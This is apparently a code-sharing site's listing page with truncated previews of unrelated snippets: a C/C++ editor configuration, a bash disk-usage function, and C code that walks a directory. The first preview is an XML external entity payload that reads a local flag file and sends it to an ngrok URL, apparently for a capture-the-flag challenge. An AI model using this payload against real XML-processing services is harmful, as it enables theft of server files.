This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!ENTITY % payload SYSTEM "file:///opt/src/flag"> | |
<!ENTITY % p "<!ENTITY xxe SYSTEM 'http://e0825b48.ngrok.io/x=%payload;'>"> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"configurations": [ | |
{ | |
"name": "Mac", | |
"includePath": [ | |
"${workspaceRoot}", | |
"/usr/include", | |
"/usr/local/include" | |
], | |
"defines": [], |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
my_du () { | |
ans=0 | |
for file in $(find $1) | |
do | |
if [ -f $file ] | |
then | |
sz=$(wc -c $file | { read first rest; echo $first; }) | |
ans=$(expr $ans + $sz) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
struct dirent *file; | |
unsigned long long ans = 0; | |
while ((file = readdir(d))) { | |
if (!strcmp(file->d_name, ".") || !strcmp(file->d_name, "..")) { | |
continue; | |
} | |
struct stat buf; | |
full_name[dir_name_len] = '/'; | |
strcpy(full_name + dir_name_len + 1, file->d_name); |